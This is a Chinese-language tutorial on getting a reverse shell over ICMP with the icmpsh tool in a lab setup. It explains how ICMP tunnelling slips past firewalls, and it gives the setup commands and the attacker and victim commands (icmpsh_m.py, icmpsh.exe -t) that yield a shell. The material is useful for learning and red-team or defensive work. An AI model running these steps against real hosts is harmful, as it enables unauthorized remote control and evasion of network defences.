利用ICMP协议反弹Shell

ICMP隧道介绍

ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。

在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMPping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

利用ICMP协议反弹Shell

icmpsh

icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。

icmpsh下载地址:https://github.com/inquisb/icmpsh

图片

使用icmpsh需要安装pythonimpacket类库,以便对于各种协议进行访问。

安装Python-impacket库:

1
apt-get install python-impacket

安装库如果出现这种情况:

图片

那么更新一下APT库就好了:

1
2
sudo apt-get update
sudo apt-get upgrade

如果没有pip的话那么安装pip

1
2
3
4
5
6
7
8
9
10
11
12
1.下载+解压+安装setuptools包:
root@kali:~#:wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
root@kali:~#:tar zxvf setuptools-18.5.tar.gz
root@kali:~#:cd setuptools-18.5
root@kali:~#:python setup.py build
root@kali:~#:python setup.py install

2.下载+解压+安装pip
root@kali:~#:wget https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gz
root@kali:~#:tar zxvf pip-7.1.2.tar.gz
root@kali:~#:cd pip-7.1.2
root@kali:~#:sudo python setup.py install

如果还是不行那么就使用这条命令安装:

1
pip2 install impacket

图片

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

实验完成后开启系统ping的话将最后的1改为0即可

图片

在这里我说一下,运行run.sh会出错,不知道为啥:

图片

于是我使用了Python脚本运行:

1
python icmpsh_m.py 192.168.217.129【kali】 192.168.217.132【win7】

图片

然后在Win7上执行命令:

1
icmpsh.exe -t 192.168.217.129

图片

这个时候就成功反弹shellkali

图片